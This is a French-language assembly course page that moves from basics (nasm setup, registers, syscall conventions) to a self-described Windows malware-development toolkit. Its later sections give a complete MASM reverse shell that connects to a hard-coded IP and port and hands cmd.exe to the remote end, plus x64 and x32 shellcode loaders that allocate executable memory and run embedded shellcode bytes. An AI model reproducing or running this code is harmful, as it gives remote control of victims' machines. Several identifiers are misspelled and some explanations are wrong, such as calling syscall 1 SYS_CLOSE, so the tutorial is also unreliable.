

Assembleur

#Terminado

- [\[ASM\] Kit de base](#)
- [\[ASM\] Windows Toolkit](#)
- [\[ASM\] Windows reverse shell](#)
- [\[ASM\] Windows shellcode loader](#)

[ASM] Kit de base

Introduction

Le **langage d'assembleur** est le langage le plus bas-niveau et le plus proche du langage machine.

Cependant, contrairement aux autres langage, chaque **architecture** possède son **jeu d'instruction** et donc son propre langage d'assembleur.

Ce cours traitera essentiellement de l'architecture **Intel** et peut-être **AT&T**.



Installation d'un assembleur (nasm)

Linux

Pour installer **nasm** sur Debian :

```
sudo apt install -y nasm build-essential
```

Registres

Registres de données

Un registre de données permet de stocker 16 bits soit 2 octets avec les bits forts placés à gauche et les bits faibles à droite.

Nom raccourcis	Nom complet	Fonction
AX	Accumulator	Opérations arithmétiques et d'entrées/sorties.
BX	Base register	Adressage mémoire.
CX	Count register	Compteur de boucle.
DX	Data register	Extension d'AX.

Registre d'états

Ce type de registre contient des flags permettant de suivre des états.

Sections

Data

C'est ici que nos constantesseront définies dans le code commae dans l'exemple ci-dessous :

```
SECTION .data
msg    db    'Hello world!', 0Ah
```

La valeur **0A** correspond au caractère `\n` et le **h** spécifie qu'il s'agit d'une valeur hexadécimale.

Text

C'est ici que nous définissons le point d'entrée (le label qu'il faut lancer pour démarrer le programme) :

```
SECTION .text
global _start
```

Convention d'appel

Voici la liste des registres et leur utilité lors de l'appel à vos fonctions :

arch	syscall NR	return	arg0	arg1	arg2	arg3	arg4	arg5
arm	r7	r0	r0	r1	r2	r3	r4	r5
arm64	x8	x0	x0	x1	x2	x3	x4	x5
x86	eax	eax	ebx	ecx	edx	esi	edi	ebp
x86_64	rax	rax	rdi	rsi	rdx	r10	r8	r9

Libc

En architecture Intel x86, selon la convention d'appel, nous devons procédé comme suit pour afficher **"Hello world"** à l'écran :

```
_start:
    MOV eax, 4 ; Appel à SYS_WRITE (OPCODE 4 définit dans la libc)
    MOV ebx, 1 ; La valeur 1 correspond à la sortie standard STDOUT
    MOV ecx, msg ; Met le contenu de la constante msg dans le registre ecx
    MOV edx, 13 ; Indique la taille de la chaîne de caractère incluant le null byte (ici 13)
    INT 80h ; Lance une interruption de la libc pour exécuter nos instructions
```

Voici comment fermer un programme proprement avec la libc :

```
_start:
    ; Close program
    MOV eax, 1 ; Appel à SYS_CLOSE dans la libc (OPCODE 1)
    MOV ebx, 0 ; Code de retour 0
    INT 80h
```

Les jeux d'instructions

Instructions	Descriptions
MOV	Déplace une valeur dans un registre sous le format suivant : MOV dst, src
CALL	Fait appel à une subroutine (fonction)
INT	Fait une interruption (pour appeler la libc)
PUSH	Pousse une valeur sur la stack
POP	Retire une valeur de la stack (format LIFO)
SUB	Effectue une soustraction entre deux adresses
ADD	Effectue une addition entre deux adresses
CMP	Compare deux valeurs
JE	"Jump if Equal". Se rend sur la routine ou le label indiqué si les deux valeurs comparées sont identiques.
JZ	"Jump if the Zero flag is set". Se rend sur la routine ou le label indiqué si le flag zero est défini.
JMP	Saute à la routine ou au label mentionné.
INC	Incrémente une valeur ou une adresse.
RET	Définit la fin d'une fonction.

Arguments

Les arguments sont passés sur la stack de sorte à ce que les derniers éléments posés sur la stack soit le **nombre d'argument**, le **nom de l'exécutable**, le **premier argument**, le **deuxième** etc.

[ASM] Windows Toolkit

Introduction

Cette page va vous donner toutes les ressources nécessaires pour préparer votre environnement de développement de Malware sur Windows 10.

Outils

- **Visual Studio** avec la suite de "[Développement desktop en C++](#)" (SDK).
- **x64dbg** (pour débbuger).
- **IDA Freeware**.

Script de compilation

x64

```
@echo off
set /p prog=[+] program name (without extension):
"C:\Program Files\Microsoft Visual
Studio\2022\Community\VC\Tools\MSVC\14.39.33519\bin\Hostx64\x64\ml64.exe" ^
%prog%.asm /link /subsystem:windows ^
/defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\ntdll.lib" ^
/defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\kernel32.lib" ^
/defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x64\user32.lib" ^
/entry:Start ^
/LARGEADDRESSAWARE:NO ^
/out:%prog%.exe ^
/RELEASE
del %prog%.obj
del *.lnk
pause
```

x32

```
@echo off
set /p prog=[+] program name (without extension):
"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.43.34808\bin\Hostx64\x86\ml.exe"
^
%prog%.asm /link /subsystem:windows ^
/defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x86\ntdll.lib" ^
/defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x86\kernel32.lib" ^
/defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x86\user32.lib" ^
/defaultlib:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.22621.0\um\x86\Ws2_32.lib" ^
/entry:Start ^
/LARGEADDRESSAWARE:NO ^
/out:%prog%.exe ^
/RELEASE
del %prog%.obj
del *.lnk
pause
```

Vérifiez les chemins en remplaçant les numéros de version puis ajoutez vos DLL si besoin avec l'argument **defaultlib** .

Hello world

Voici un hello world pour vérifier que la compilation fonctionne correctement :

```
extrn MessageBoxA :PROC
extrn ExitProcess :PROC

.data
msg DB "Hello world", 0
caption DB "Caption", 0

.code
Start PROC
sub rsp, 28h
xor rcx, rcx
lea rdx, msg
```

```
LEA r8, caption
XOR r9, r9
CALL MessageBoxA
CALL ExitProcess
Start ENDP
```

```
End
```


[ASM] Windows reverse shell

Code

Remplacer l'**IP** et le **port** au format Little Endian.

```
extrn ExitProcess :PROC

extrn WSASStartup :PROC
extrn WSASocketA :PROC
extrn WSAConnect :PROC
extrn CreateProcessA :PROC

; Définir les valeurs de longueur manquantes
WSADESCRIPTION_LEN equ 256
WSASYS_STATUS_LEN equ 128

sockaddr_in STRUC
    sin_family WORD ?
    sin_port WORD ?
    sin_addr DWORD ?
    sin_zero BYTE 8 DUP (?)
sockaddr_in ENDS

_wsadata STRUC
    wVersion WORD ?
    wHighVersion WORD ?
    szDescription BYTE (WSADESCRIPTION_LEN + 1) DUP (?)
    szSystemStatus BYTE (WSASYS_STATUS_LEN + 1) DUP (?)
    iMaxSockets WORD ?
    iMaxUdpDg WORD ?
    IpVendorInfo QWORD ?
_wsadata ENDS
```

_startupinfoa STRUC

cb DWORD ?

align_1 BYTE 4 dup (?)

lpReserved QWORD ?

lpDesktop QWORD ?

lpTitle QWORD ?

dwX DWORD ?

dwY DWORD ?

dwXSize DWORD ?

dwYSize DWORD ?

dwXCountChars DWORD ?

dwYCountChars DWORD ?

dwFillAttribute DWORD ?

dwFlags DWORD ?

wShowWindow WORD ?

cbReserved2 WORD ?

align_2 BYTE 4 dup (?)

lpReserved2 []QWORD ?

hStdInput []QWORD ?

hStdOutput []QWORD ?

hStdError []QWORD ?

_STARTUPINFOA ENDS

_PROCESS_INFORMATION STRUCT

hProcess []QWORD ?

hThread []QWORD ?

dwProcessId []DWORD ?

dwThreadId []DWORD ?

_PROCESS_INFORMATION ENDS

.data

; WSADATA

WSADATA _wsadata <>

; WSASocket

sd DQ ?

; CreateProcessA

```
SUInfo _STARTUPINFOA <>
PrcInfo _PROCESS_INFORMATION <>
```

```
; Define IP & Port
sa sockaddr_in <>
ip DD 17AA8C0h
port DW 5C11h
```

```
; CreateProcessA
shell_str DB "cmd.exe", 0
```

```
.code
Start PROC
```

```
; Define sa structs
MOV sa.sin_family, 2
MOV ax, port
MOV sa.sin_port, ax
MOV eax, [ip]
MOV sa.sin_addr, eax
```

```
; WSASStartup
sub rsp, 28h

MOV rcx, 2h
LEA rdx, [WSAData]
CALL WSASStartup
```

```
; WSASocketA
sub rsp, 40h

MOV rcx, 2
MOV rdx, 1
MOV r8, 6
XOR r9, r9
MOV qword ptr [rsp+20h], 0
MOV qword ptr [rsp+28h], 0
CALL WSASocketA
MOV sd, rax
ADD rsp, 40
```

; WSACconnect

sub rsp, 28h

MOV rcx, sd

LEA rdx, sa

MOV r8, SIZEOF sockaddr_in

XOR r9, r9

SUB rsp, 56

MOV qword ptr [rsp+32], 0

MOV qword ptr [rsp+40], 0

MOV qword ptr [rsp+48], 0

CALL WSACconnect

ADD rsp, 56

; CreateProcessA

sub rsp, 50h

MOV rax, sd

MOV [SUInfo.hStdInput], rax

MOV [SUInfo.hStdOutput], rax

MOV [SUInfo.hStdError], rax

MOV [SUInfo.cb], SIZEOF _STARTUPINFOA

MOV [SUInfo.dwFlags], 100h

XOR rcx, rcx

LEA rdx, shell_str

XOR r8, r8

XOR r9, r9

MOV qword ptr [rsp+20h], 1

MOV qword ptr [rsp+28h], 0

MOV qword ptr [rsp+30h], 0

MOV qword ptr [rsp+38h], 0

LEA rax, SUInfo

MOV qword ptr [rsp+40h], rax

LEA rax, PrclInfo

MOV qword ptr [rsp+48h], rax

CALL CreateProcessA

ADD rsp, 50h

Start ENDP
End

[ASM] Windows shellcode loader

Shellcode loader

x64 bits

```
extrn VirtualAlloc :PROC
extrn GetCurrentProcess :PROC
extrn WriteProcessMemory :PROC

.data
    shellcode DB 48h,31h,0c9h,48h,81h,0e9h,0feh,0ffh,0ffh,0ffh,48h,8dh,05h
    DB 0efh,0ffh,0ffh,0ffh,48h,0bbh,7dh,5dh,14h,08h,0adh,48h,33h
    DB 0cfh,48h,31h,58h,27h,48h,2dh,0f8h,0ffh,0ffh,0ffh,0e2h,0f4h
    DB 0edh,0cdh,84h,98h,3dh,0d8h,0a3h,5fh,0edh,0cdh,84h,98h,0adh
    DB 48h,33h,0cfh
    shellcode_end DB 0
    shellcode_len DQ ?
    hProcess DQ ?
    baseAddr DQ ?

.code
Start PROC
    SUB rsp, 28h

    XOR rcx, rcx
    MOV rdx, 100h
    MOV r8, 1000h
    MOV r9, 40h
    CALL VirtualAlloc
    MOV baseAddr, rax
```

```

CALL GetCurrentProcess
MOV hProcess, rax

MOV rcx, hProcess
MOV rdx, baseAddr
LEA rax, shellcode
LEA rbx, shellcode_end
SUB rbx, rax
MOV shellcode_len, rbx
LEA r8, shellcode
MOV r9, shellcode_len
SUB rsp, 40
MOV qword ptr [rsp+32], 0
CALL WriteProcessMemory
ADD rsp, 40

CALL baseAddr

Start ENDP
END

```

x32 bits

```

.model flat, stdcall

VirtualAlloc PROTO STDCALL :DWORD, :DWORD, :DWORD, :DWORD
GetCurrentProcess PROTO STDCALL
WriteProcessMemory PROTO STDCALL :DWORD, :DWORD, :DWORD, :DWORD, :DWORD

.data

shellcode DB 0b8h,0eeh,17h,0ddh,0c1h,0d9h,0c5h,0d9h,74h,24h,0f4h,5eh,29h
DB 0c9h,0b1h,04h,83h,0c6h,04h,31h,46h,0eh,03h,0a8h,19h,3fh
DB 34h,0a4h,0b6h,2fh,27h,54h,26h,0dfh,0d8h,0c4h,0d7h,70h,48h
DB 48h,33h,0cfh
shellcode_end DB 0
hProcess DD ?
baseAddr DD ?

.code
Start PROC

```

PUSH 40h

PUSH 1000h

PUSH 100h

PUSH 0

CALL VirtualAlloc

MOV baseAddr, eax

CALL GetCurrentProcess

MOV hProcess, eax

PUSH 0

PUSH SIZEOF shellcode

PUSH OFFSET shellcode

PUSH baseAddr

PUSH hProcess

CALL WriteProcessMemory

CALL baseAddr

Start ENDP

END